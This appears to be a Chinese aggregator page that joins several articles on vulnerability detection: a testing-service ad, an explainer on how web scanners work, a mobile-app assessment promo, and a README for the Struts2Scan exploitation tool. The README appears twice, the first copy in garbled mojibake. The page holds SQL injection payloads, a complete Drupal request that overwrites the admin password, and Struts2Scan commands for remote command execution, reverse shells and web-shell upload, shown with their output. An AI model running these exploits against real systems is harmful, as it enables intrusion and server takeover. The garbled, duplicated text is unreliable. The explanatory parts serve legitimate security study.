您的位置:首页 > 前沿资讯

网站漏洞检测软件(系统安全漏洞检测技术第三方检测机构)

导读网站漏洞检测软件文章列表:1、系统安全漏洞检测技术第三方检测机构2、网安加·百家讲坛 | Web漏洞扫描工具原理3、如何低成本的检测APP存在的漏洞以及风险?4、Struts2鍏ㄦ紡

网站漏洞检测软件文章列表:

网站漏洞检测软件(系统安全漏洞检测技术第三方检测机构)

系统安全漏洞检测技术第三方检测机构

建立一个安全的Web系统一直是很多企业的目标,一个比较实用的方法就是建立比较容易实现的相对安全的系统,同时按照一定的安全策略建立相应的安全辅助系统,系统安全漏洞检测就是这样一类安全辅助系统。

系统安全漏洞检测技术

  1、基于应用的检测技术

  采用被动的、非破坏性的办法检查应用软件包的设置,发现系统安全漏洞。

  2、基于主机的检测技术

  采用被动的、非破坏性的办法对系统进行检测。通常,涉及到系统的内核、文件的属性、操作系统的补丁等。这种技术还包括口令解密、把一些简单的口令剔除。因此,这种技术可以非常准确地定位系统的问题,发现系统的漏洞。它的缺点是与平台相关,升级比较复杂。

  3、基于目标的漏洞检测技术

  采用被动的、非破坏性的办法检查系统属性和文件属性,如数据库、注册号等。通过消息文摘算法,对文件的加密数进行检验。这种技术的实现是运行在一个闭环上,通过不断地处理文件、系统目标、系统目标属性等,然后产生检验数,把这些检验数同原来的检验数进行比较,一旦发现改变就通知管理员。

  4、基于网络的检测技术

  采用积极的、非破坏性的办法来检验系统是否存在有被攻击崩溃的可能性。利用了一系列的脚本模拟对系统进行攻击的行为,然后对其结果进行分析。另外还会针对已知的网络漏洞进行检验。网络检测技术常被用来进行穿透实验和安全审记。这种技术可以发现一系列平台的漏洞,也容易安装。但是,它可能会影响网络的性能。

  系统安全漏洞检测作为这样一类安全辅助系统,通过以上四种漏洞检测技术,帮助企业实现Web应用安全。提供权威的第三方检测报告,如:软件产品登记测试报告(增值税退税)、确认测试报告(科技项目验收、成果鉴定)、信息安全测评服务(Web应用安全检测、源代码安全漏洞扫描)等。

软件测评报告请联系王经理18684048962,更多资讯请关注公众号:软件测评闲聊站

网安加·百家讲坛 | Web漏洞扫描工具原理

作者简介:郭振新,OWASP吉林区域负责人,径点科技资深研发工程师、VP、安全部门负责人。拥有10年软件安全和软件研发经验,软件公司安全团队从0到1的建设经验。

刚接触安全的人总会有一些疑问,为什么有Web漏洞扫描工具还要做手动测试?扫描工具里面的rule都写得好全啊,什么问题类型都有,是不是做完Scan之后就可以保证Web应用程序的绝对安全?本文从扫描工具的原理角度给大家解释一下这些疑惑。

我们先来讨论一下Web漏洞扫描工具都有哪些原理和规则。

一、被动扫描(Passively Scan)

如果有人使用过OWASP ZAP或者Burp Suite扫描,应该会注意到它们的扫描方式中有一项是被动扫描。

那什么时被动扫描呢?被动扫描就是不主动向目标Server发送任何请求,它仅分析现有的经过Burp Suite/ZAP的request和Response的内容,从中推断出漏洞。仅使用被动技术可以检测到许多类型的Vulnerabilities。

举几个可以用被动扫描发现的问题:

1.Response中不含有各种安全相关的Response header。

2.Response中含有Server的版本号信息等,例如:Server: IIS 10.0

3.前台组件(例如:jQuery)的版本过低,含有已知问题。

4.分析前端代码是否含有潜在的XSS等(注意这种分析可能存在一定的误报率,因为只是分析代码,并没有直接重现问题)。

5.Password/PII等隐私信息发现。

6.SSL/TLS证书问题。

7.其它被动可以查到的Vulnerabilities可以在扫描工具的规则配置中找到。

二、对比Response中的数据和行为

除了第一条为被动扫描技术,其余方法都是主动发现漏洞。扫描工具会一遍一遍的将Request中的所有参数替换成对应攻击的Payload发送到Server,然后查看和对比Server 返回Response中的数据和行为,从而判断Server是否有Vulnerabilities。画一张示例图如下:

对比Response的数据当然很好理解,例如登录时存在SQL Injection,当用户名输入admin" or 1=1时会直接登录,扫描工具就会比对Response中的数据不同(登录成功/失败)从而判断这里有SQL Injection问题。

那对比行为是怎么理解呢?有些SQL Injection虽然会被执行,但是Response中返回值都是一样的,这种情况就没有办法直接对比数据。这个时候就可以对比行为,还是拿SQL Injeciton举例,当Payload为UserID=1;waitfor delay '0:0:3'—时,Server返回Response的时间为3秒以上,当Payload改为UserID=1;waitfor delay '0:0:30'—时,Server的返回Response的时间为30秒以上,多次尝试后扫描工具就会探测出这里有SQL Injection问题。

另外扫描工具还会分析Response中的异常信息,从而判断内部逻辑,直接报出来,方便攻击者查看和进行下一步进攻。例如有些异常信息会抛出SQL语句是在哪里拼写错误或抛出整个错误的SQL语句,如果异常信息直接打印到Response中时,会加速和帮助攻击者确认Vulnerability所在。所以尽可能少的外向暴露异常信息很重要。

PS: 解释一下Payload的意思,直译有效载荷。简单说就是一次一次发送给Server的数据。比如SQL Injection的Payload:

1. admin" or 1=1

2. admin" or 1=1--

3. admin" or 1=1#

4. admin" or 1=1/*

不同的攻击方式都会有不同的Payload,推荐大家看一PayloadAllTheThings(https://github.com/swisskyrepo/PayloadsAllTheThings),里面列出了各种类型的Payload。

三、匹配已知漏洞的技术

这个扫描规则怎么理解呢,有一些Site用了现成的产品来进行二次开发,例如使用WordPress来进行二次发,当使用的WordPress版本有安全问题时,无论二次开发的代码如何安全也不能避免因为WrodPress本身所含有的漏洞而带来的安全问题,或者本身使用的Web Server(例如: IIS)就含有安全漏洞等。而这种规则就是为了发现上述问题。

扫描工具的这种规则不会替换所有参数来匹配是否有问题,而是有针对性的发送对应的Request来进行探测,都是一些写好的Rule来进行匹配。如下截图就是AWVS中的一些已知安全问题的列表。

举个例子,像上图中的Drupal SQL injection,要利用此漏洞的request为如下内容:

POST /drupal-7.31/?q=node&destination=node HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/Drupal-7.31/

Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 231

name[0 ;update users set name='owned' , pass = '$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid = '1';;# ]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log in

所以扫描工具就会直接将上述Request发送到Server,查看Response中是否有可以被利用的迹象,如果有就说明检测到了Drupal SQL injection问题。

四、检测Out-of-Band的技术

上述3种规则,一般的Web Vulnerabilities Scanner都会有,但是下面这两种规则,只有好一点的Scanner才会有。

检测Out-of-Band的技术是为了探测某些没有办法直接从Response对比中检测出来Vulnerabilities。例如Blind XSS,Server-side request forgery (SSRF),XML External Entity injection (XXE)等等。

使用检测Out-of-Band技术的工具有,AWVS的AcuMonitor(https://www.acunetix.com/vulnerability-scanner/acumonitor-technology/),Burp Suite的Burp Collaborator Client(https://portswigger.net/burp/documentation/desktop/tools/collaborator-client)等。

用一个我们熟悉的例子来解释这种技术。当Site中有一个存储型XSS时,使用上述解释的几种规则就没有办法直接探测出来,因为存储型XSS是在另一个页面存在XSS漏洞,扫描工具没有办法通过存数据的Request来检测是否含有XSS。但是使用检测Out-of-Band技术就可以。原理如下图:

这个例子中XSS还需要页面触发,还有一些其它的问题,例如SSRF(控制Server向某个地方发送Request),就比较直接,不需要任何触发,直接发送Payload到Server,如果有SSRF问题Server会直接将Payload中的地址发送到AcuMonitor中,从而发现问题。

五、交互式应用安全扫描 (IAST)

先来解释几个名词:

1. Dynamic Application Security Testing (DAST):像AWVS,Burp Suite,ZAP这种工具都属于DAST工具,扫描动态的网站发现安全问题。

2. Static Application Security Testing (SAST):像SonarQube,CheckMarx,Fortify SCA这种工具都属于SAST工具,静态扫描源码发现安全问题。

3. Interactive Application Security Testing (IAST):交互式应用程序安全测试(Interactive Application Security Testing)通过代理、VPN或者在服务端部署Agent程序,收集、监控Web应用程序运行时函数执行、数据传输,并与扫描器端进行实时交互,高效、准确的识别安全缺陷及漏洞,同时可准确确定漏洞所在的代码文件、行数、函数及参数。

IAST是DAST的扩展,也可以理解为是DAST和SAST的融合,以AWVS的AcuSensor的工作原理来解释,通过在Server端Site中安装的方式HttpModule的方式来额外从Server端获取一些信息,从而发现更多的问题和提高扫描的准确度。

当我们需要使用AcuSensor时,需要在对应的测试Site上安装AcuSensor,安装好后会在Site中额外多出一个AcuWeaver.dll和在web.config中添加一个HttpModule,应该是通过这个HttpModule来对Server进行额外的探测,因为在Server中会比只在外面扫描获得更多的有用信息,比如具体执行的sql语句是什么,从而分析出更多的问题。

如下图为AcuSensor的原理图:

通过上述介绍后,你是否对Web漏洞扫描工具的工作原理有了一定的了解呢?

然后我们在回头想一下最初的问题:

▸为什么有了Web应用扫描工具还需要做手动测试?

因为扫描工具都是基于Response的返回值进行分析的,如果涉及到逻辑问题(例如权限相关的问题),扫描工具就很难分析出什么样的行为是合法的,所以类似的问题扫描工具是很难检测的。

▸是不是做完扫描之后就可以保证Web应用程序的绝对安全?

答案当然是不可能。除了上述说的逻辑问题,还有一下两个原因:

1)首先扫描工具要扫描的request是基于它的自动爬网的结果,而自动爬网的结果往往都不尽如人意(这里我们一般都通过手动点击页面的方式来收集request),所以扫描工具不太会扫描到整个应用程序的每个request。

2)另外如果你是一位开发人员,你应该能够理解,有些API可能内部有很多分支逻辑(if, else, switch, case等等),这些分支逻辑都是基于API传递不同参数而执行的,问题在于扫描工具基本不可能覆盖每一层分支逻辑,这也是扫描工具的局限性。

所以Web应用安全并非交给Web漏洞扫描工具就可以一劳永逸,而是必须通过多种手段和方法来在应用开发的各个阶段和维度进行保证,详细方法不在此赘述。

最后本人并非任何Web漏洞扫描工具的作者,完全是以一个使用者的角度分析了一下扫描工具的原理和局限性,如过大家有任何问题/补充或异议,欢迎一起讨论。

- End -

如何低成本的检测APP存在的漏洞以及风险?

随着移动互联网的飞速发展,智能移动终端生产成本的逐渐下降,智能手机在人们学习、工作和生活中的普及率越来越高。手机终端的广大用户群体的良好体验正吸引着越来越多的开发及应用者参与到手机应用程序的开发和使用中来,但是部分免费开源的平台特性不仅给予了开发者更广阔的开发空间,也给使用者增加了许多安全隐患,即使有基于自主平台上开发的移动应用,也由于版本更新慢等原因,遭到黑客攻击,从而存在一定的安全隐患。

Android和iOS系统作为目前市场最主流的移动操作系统,其应用种类、应用数量都在不断地增长。Android作为一个开放系统,应用程序的各种安全问题层出不穷,例如安装包逆向反编译,恶意代码注入,应用盗版,界面劫持,短信劫持,输入监听等。虽然iOS作为一个封闭系统以安全著称,但其中已经暴露出多种应用安全漏洞。由于iOS设备已经成为个人信息终端和主流的移动支付工具,其安全问题不容忽视,例如XcodeGhost感染漏洞、iBackDoor漏洞、ZipperDown漏洞、源码泄露、输入键盘劫持等。移动应用的这些安全问题不仅会泄露用户的个人信息,甚至会造成应用的知识产权盗用,使得名誉和经济受损。

当前移动智能终端领域虽然有众多的安全评测系统,但是大部分都存在识别率不高和效率过低的情况,为了改善此种情况,一个高效、快速并全方位多维度的评测与挖掘移动应用安全隐患系统的研究及研发更显得很有必要。

功能架构

蛮犀安全移动应用评测系统中功能主要由Web可视化前端、逆向引擎、漏洞库、风险库、基础工具、数据库以及文件系统组成(如下图所示),蛮犀安全移动应用评测系统对上传的移动应用进行包括针对目前移动应用源码层、应用层、系统层、数据层等,对应用安全弱点进行全面审核,及时发现应用存在的潜在风险与漏洞。

蛮犀科技移动应用安全评测系统

参考依据

蛮犀安全移动应用评测系统主要参考以下相关国家标准以及行业标准进行的研制开发:

1、《GBT22239-2019信息安全技术网络安全等级保护基本要求》

2、《信息安全技术移动智能终端个人信息保护技术要求》

3、《YD/T 1438-2006 数字移动台应用层软件功能要求和测试方法》

4、《YD/T 2307-2011 数字移动通信终端通用功能技术要求和测试方法》

5、《电子银行业务管理办法》

6、《电子银行安全评估指引》

7、《中国金融移动支付客户端技术规范》

8、《中国金融移动支付应用安全规范》

9、《移动互联网应用软件安全评估大纲》

10、《中华人民共和国网络安全法》

11、《移动互联网应用程序信息服务管理规定》

主要功能:

1、安全检测

对病毒、木马、恶意代码、敏感权限调用、广告、恶意扣费等安全特征进行检测,以及对自身风险、漏洞进行定制化检测。

2、漏洞扫描

对应用程序进行静态漏洞扫描,并在模拟器中对应用进行实时漏洞攻击检测。

3、风险评估

对可能存在风险隐患的功能调用、系统组件、接口等方面进行安全评估,及时发现潜在风险。

4、解决建议

针对安全检测系统发现的各类安全问题,提供可靠的安全解决建议。

蛮犀科技移动应用评测系统支持Android、iOS、小程序、SDK、轻应用等多场景。对上传的移动应用进行包括针对目前移动应用源码层、应用层、系统层、数据层等,对应用安全弱点进行全面审核,及时发现应用存在的潜在风险与漏洞,针对分析过程中评估标准、评估要点、评估方法、评估结果以及问题解决建议均进行详细的描述。

Struts2鍏ㄦ紡娲炴壂鎻忓埄鐢ㄥ伐鍏?,"video_count":0},"image_detail":[{"url":"https://p3-sign.toutiaoimg.com/large/pgc-image/b299a3df9c9c42bb9f0621377d1c3cb9?_iz=31825&from=article.detail&x-expires=1703746919&x-signature=t5reU%2FE3UIfCtH5xg%2BPYR%2FqvDCY%3D

鏂囩珷鏉ユ簮锛?绯荤粺瀹夊叏杩愮淮

Struts2-Scan

Struts2婕忔礊鍒╃敤鎵弿宸ュ叿锛屽熀浜庝簰鑱旂綉涓婂凡缁忓叕寮€鐨凷tructs2楂樺嵄婕忔礊exp鐨勬壂鎻忓埄鐢ㄥ伐鍏凤紝鐩墠鏀寔鐨勬紡娲炲涓? S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057

鏀寔鍗曚釜URL婕忔礊妫€娴嬪拰鎵归噺URL妫€娴嬶紝鑷虫鎸囧畾婕忔礊鍒╃敤锛屽彲鑾峰彇WEB璺緞锛屾墽琛屽懡浠わ紝鍙嶅脊shell鍜屼笂浼犳枃浠讹紝娉ㄦ剰锛屽苟涓嶆槸鎵€鏈夌殑婕忔礊鍧囨敮鎸佷笂杩板姛鑳斤紝鍙湁閮ㄥ垎鍔熻兘鏀寔

琛岀幆澧僜u003c/h1>

Python3.6.X鍙婂叾浠ヤ笂鐗堟湰

绗笁鏂瑰簱: click, requests, bs4

娴嬭瘯鐜: Ubuntu 16.04

婕忔礊鐜宸蹭笂浼狅紝鍙傝€冨湴鍧€锛歕u003c/span>

https://github.com/Medicean/VulApps/tree/master/s/struts2/

https://github.com/vulhub/vulhub/tree/master/Struts2

宸ュ叿鍙傛暟璇存槑

Usage: Struts2Scan.py [OPTIONS] Struts2鎵归噺鎵弿鍒╃敤宸ュ叿Options: -i, --info 婕忔礊淇℃伅浠嬬粛 -v, --version 鏄剧ず宸ュ叿鐗堟湰 -u, --url TEXT URL鍦板潃 -n, --name TEXT 鎸囧畾婕忔礊鍚嶇О, 婕忔礊鍚嶇О璇﹁info -f, --file TEXT 鎵归噺鎵弿URL鏂囦欢, 涓€琛屼竴涓猆RL -d, --data TEXT POST鍙傛暟, 闇€瑕佷娇鐢ㄧ殑payload浣跨敤{exp}濉厖, 濡? name=test&passwd={exp} -c, --encode TEXT 椤甸潰缂栫爜, 榛樿UTF-8缂栫爜 -p, --proxy TEXT HTTP浠g悊. 鏍煎紡涓篽ttp://ip:port -t, --timeout TEXT HTTP瓒呮椂鏃堕棿, 榛樿10s -w, --workers TEXT 鎵归噺鎵弿杩涚▼鏁? 榛樿涓?0涓繘绋媆n --header TEXT HTTP璇锋眰澶? 鏍煎紡涓? key1=value1&key2=value2 -e, --exec 杩涘叆鍛戒护鎵цshell --webpath 鑾峰彇WEB璺緞 -r, --reverse TEXT 鍙嶅脊shell鍦板潃, 鏍煎紡涓篿p:port --upfile TEXT 闇€瑕佷笂浼犵殑鏂囦欢璺緞鍜屽悕绉癨n --uppath TEXT 涓婁紶鐨勭洰褰曞拰鍚嶇О, 濡? /usr/local/tomcat/webapps/ROOT/shell.jsp -q, --quiet 鍏抽棴鎵撳嵃涓嶅瓨鍦ㄦ紡娲炵殑杈撳嚭锛屽彧淇濈暀瀛樺湪婕忔礊鐨勮緭鍑篭n -h, --help Show this message and exit.

浣跨敤渚嬪瓙

鏌ョ湅婕忔礊璇︾粏淇℃伅:

$ python3 Struts2Scan.py --info ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [ ] 鏀寔濡備笅Struts2婕忔礊:[ ] S2-001:褰卞搷鐗堟湰Struts 2.0.0-2.0.8; POST璇锋眰鍙戦€佹暟鎹? 榛樿鍙傛暟涓?username,password; 鏀寔鑾峰彇WEB璺緞,浠绘剰鍛戒护鎵ц鍜屽弽寮箂hell[ ] S2-003:褰卞搷鐗堟湰Struts 2.0.0-2.0.11.2; GET璇锋眰鍙戦€佹暟鎹? 鏀寔浠绘剰鍛戒护鎵ц[ ] S2-005:褰卞搷鐗堟湰Struts 2.0.0-2.1.8.1; GET璇锋眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠绘剰鍛戒护鎵ц[ ] S2-007:褰卞搷鐗堟湰Struts 2.0.0-2.2.3; POST璇锋眰鍙戦€佹暟鎹? 榛樿鍙傛暟涓?username,password; 鏀寔浠绘剰鍛戒护鎵ц鍜屽弽寮箂hell[ ] S2-008:褰卞搷鐗堟湰Struts 2.1.0-2.3.1; GET璇锋眰鍙戦€佹暟鎹? 鏀寔浠绘剰鍛戒护鎵ц鍜屽弽寮箂hell[ ] S2-009:褰卞搷鐗堟湰Struts 2.0.0-2.3.1.1; GET璇锋眰鍙戦€佹暟鎹?URL鍚庨潰闇€瑕佽姹傚弬鏁板悕; 榛樿涓? key; 鏀寔浠绘剰鍛戒护鎵ц鍜屽弽寮箂hell[ ] S2-012:褰卞搷鐗堟湰Struts Showcase App 2.0.0-2.3.13; GET璇锋眰鍙戦€佹暟鎹?鍙傛暟鐩存帴娣诲姞鍒癠RL鍚庨潰; 榛樿涓?name; 鏀寔浠绘剰鍛戒护鎵ц鍜屽弽寮箂hell[ ] S2-013/S2-014:褰卞搷鐗堟湰Struts 2.0.0-2.3.14.1; GET璇锋眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠绘剰鍛戒护鎵ц,鍙嶅脊shell鍜屾枃浠朵笂浼燶n[ ] S2-015:褰卞搷鐗堟湰Struts 2.0.0-2.3.14.2; GET璇锋眰鍙戦€佹暟鎹? 鏀寔浠绘剰鍛戒护鎵ц鍜屽弽寮箂hell[ ] S2-016:褰卞搷鐗堟湰Struts 2.0.0-2.3.15; GET璇锋眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠绘剰鍛戒护鎵ц,鍙嶅脊shell鍜屾枃浠朵笂浼燶n[ ] S2-019:褰卞搷鐗堟湰Struts 2.0.0-2.3.15.1; GET璇锋眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠绘剰鍛戒护鎵ц,鍙嶅脊shell鍜屾枃浠朵笂浼燶n[ ] S2-029:褰卞搷鐗堟湰Struts 2.0.0-2.3.24.1(闄や簡2.3.20.3); POST璇锋眰鍙戦€佹暟鎹?闇€瑕佸弬鏁? 榛樿鍙傛暟:message; 鏀寔浠绘剰鍛戒护鎵ц鍜屽弽寮箂hell[ ] S2-032:褰卞搷鐗堟湰Struts 2.3.20-2.3.28(闄や簡2.3.20.3鍜?.3.24.3); GET璇锋眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠绘剰鍛戒护鎵ц鍜屽弽寮箂hell[ ] S2-033:褰卞搷鐗堟湰Struts 2.3.20-2.3.28(闄や簡2.3.20.3鍜?.3.24.3); GET璇锋眰鍙戦€佹暟鎹? 鏀寔浠绘剰鍛戒护鎵ц鍜屽弽寮箂hell[ ] S2-037:褰卞搷鐗堟湰Struts 2.3.20-2.3.28.1; GET璇锋眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠绘剰鍛戒护鎵ц鍜屽弽寮箂hell[ ] S2-045:褰卞搷鐗堟湰Struts 2.3.5-2.3.31,2.5-2.5.10; POST璇锋眰鍙戦€佹暟鎹?涓嶉渶瑕佸弬鏁? 鏀寔鑾峰彇WEB璺緞,浠绘剰鍛戒护鎵ц,鍙嶅脊shell鍜屾枃浠朵笂浼燶n[ ] S2-046:褰卞搷鐗堟湰Struts 2.3.5-2.3.31,2.5-2.5.10; POST璇锋眰鍙戦€佹暟鎹?涓嶉渶瑕佸弬鏁? 鏀寔鑾峰彇WEB璺緞,浠绘剰鍛戒护鎵ц,鍙嶅脊shell鍜屾枃浠朵笂浼燶n[ ] S2-048:褰卞搷鐗堟湰Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST璇锋眰鍙戦€佹暟鎹? 榛樿鍙傛暟涓?username,password; 鏀寔浠绘剰鍛戒护鎵ц鍜屽弽寮箂hell[ ] S2-053:褰卞搷鐗堟湰Struts 2.0.1-2.3.33,2.5-2.5.10; POST璇锋眰鍙戦€佹暟鎹? 榛樿鍙傛暟涓?username,password; 鏀寔浠绘剰鍛戒护鎵ц鍜屽弽寮箂hell[ ] S2-devMode:褰卞搷鐗堟湰Struts 2.1.0-2.3.1; GET璇锋眰鍙戦€佹暟鎹? 鏀寔鑾峰彇WEB璺緞,浠绘剰鍛戒护鎵ц鍜屽弽寮箂hell

鍗曚釜URL婕忔礊妫€娴?

$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [ ] 姝e湪鎵弿URL:http://192.168.100.8:8080/index.action[*] ----------------results------------------[*] http://192.168.100.8:8080/index.action 瀛樺湪婕忔礊: S2-046[*] http://192.168.100.8:8080/index.action 瀛樺湪婕忔礊: S2-016[*] http://192.168.100.8:8080/index.action 瀛樺湪婕忔礊: S2-045[*] http://192.168.100.8:8080/index.action 瀛樺湪婕忔礊: S2-015[*] http://192.168.100.8:8080/index.action 瀛樺湪婕忔礊: S2-009[*] http://192.168.100.8:8080/index.action 瀛樺湪婕忔礊: S2-012

鎵归噺婕忔礊妫€娴?

$ python3 Struts2Scan.py -f urls.txt

POST鏁版嵁:

$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -d name=admin&email=admin&age={exp}

鎸囧畾婕忔礊鍚嶇О鍒╃敤:

# 鍛戒护鎵ц$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy >>>ls -latotal 136drwxr-sr-x 1 root staff 4096 May 5 2017 .drwxrwsr-x 1 root staff 4096 May 5 2017 ..-rw-r----- 1 root root 57092 Apr 13 2017 LICENSE-rw-r----- 1 root root 1723 Apr 13 2017 NOTICE-rw-r----- 1 root root 7064 Apr 13 2017 RELEASE-NOTES-rw-r----- 1 root root 15946 Apr 13 2017 RUNNING.txtdrwxr-x--- 1 root root 4096 May 5 2017 bindrwx--S--- 1 root root 4096 Jul 12 14:54 confdrwxr-sr-x 3 root staff 4096 May 5 2017 includedrwxr-x--- 2 root root 4096 May 5 2017 libdrwxr-x--- 1 root root 4096 Jul 12 14:54 logsdrwxr-sr-x 3 root staff 4096 May 5 2017 native-jni-libdrwxr-x--- 2 root root 4096 May 5 2017 tempdrwxr-x--- 1 root root 4096 Jul 12 14:54 webappsdrwxr-x--- 1 root root 4096 Jul 12 14:54 work>>># 鍙嶅脊shll$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --reverse 192.168.100.8:8888 ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [*] 璇峰湪鍙嶅脊鍦板潃澶勭洃鍚鍙e: nc -lvvp 8080# 鑾峰彇WEB璺緞$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [*] /usr/local/tomcat/webapps/ROOT/# 涓婁紶shell$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [ ] 鏂囦欢涓婁紶鎴愬姛

怎么检测Struts2的系列漏洞

Struts2漏洞利用扫描工具,基于互联网上已经公开的Structs2高危漏洞exp的扫描利用工具,目前支持的漏洞如下: S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057

支持单个URL漏洞检测和批量URL检测,至此指定漏洞利用,可获取WEB路径,执行命令,反弹shell和上传文件,注意,并不是所有的漏洞均支持上述功能,只有部分功能支持

如有错误或者问题欢迎大家提问交流,一起解决

运行环境

Python3.6.X及其以上版本

第三方库: click, requests, bs4

测试环境: Ubuntu 16.04

漏洞环境已上传,参考地址:

https://github.com/Medicean/VulApps/tree/master/s/struts2/

https://github.com/vulhub/vulhub/tree/master/struts2

工具参数说明

Usage: Struts2Scan.py [OPTIONS] Struts2批量扫描利用工具Options: -i, --info 漏洞信息介绍 -v, --version 显示工具版本 -u, --url TEXT URL地址 -n, --name TEXT 指定漏洞名称, 漏洞名称详见info -f, --file TEXT 批量扫描URL文件, 一行一个URL -d, --data TEXT POST参数, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp} -c, --encode TEXT 页面编码, 默认UTF-8编码 -p, --proxy TEXT HTTP代理. 格式为http://ip:port -t, --timeout TEXT HTTP超时时间, 默认10s -w, --workers TEXT 批量扫描进程数, 默认为10个进程 --header TEXT HTTP请求头, 格式为: key1=value1&key2=value2 -e, --exec 进入命令执行shell --webpath 获取WEB路径 -r, --reverse TEXT 反弹shell地址, 格式为ip:port --upfile TEXT 需要上传的文件路径和名称 --uppath TEXT 上传的目录和名称, 如: /usr/local/tomcat/webapps/root/shell.jsp -q, --quiet 关闭打印不存在漏洞的输出,只保留存在漏洞的输出 -h, --help Show this message and exit.

使用例子

查看漏洞详细信息:

$ python3 Struts2Scan.py --info ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [ ] 支持如下Struts2漏洞:[ ] S2-001:影响版本Struts 2.0.0-2.0.8; POST请求发送数据; 默认参数为:username,password; 支持获取WEB路径,任意命令执行和反弹shell[ ] S2-003:影响版本Struts 2.0.0-2.0.11.2; GET请求发送数据; 支持任意命令执行[ ] S2-005:影响版本Struts 2.0.0-2.1.8.1; GET请求发送数据; 支持获取WEB路径,任意命令执行[ ] S2-007:影响版本Struts 2.0.0-2.2.3; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell[ ] S2-008:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持任意命令执行和反弹shell[ ] S2-009:影响版本Struts 2.0.0-2.3.1.1; GET请求发送数据,URL后面需要请求参数名; 默认为: key; 支持任意命令执行和反弹shell[ ] S2-012:影响版本Struts Showcase App 2.0.0-2.3.13; GET请求发送数据,参数直接添加到URL后面; 默认为:name; 支持任意命令执行和反弹shell[ ] S2-013/S2-014:影响版本Struts 2.0.0-2.3.14.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传[ ] S2-015:影响版本Struts 2.0.0-2.3.14.2; GET请求发送数据; 支持任意命令执行和反弹shell[ ] S2-016:影响版本Struts 2.0.0-2.3.15; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传[ ] S2-019:影响版本Struts 2.0.0-2.3.15.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传[ ] S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹shell[ ] S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell[ ] 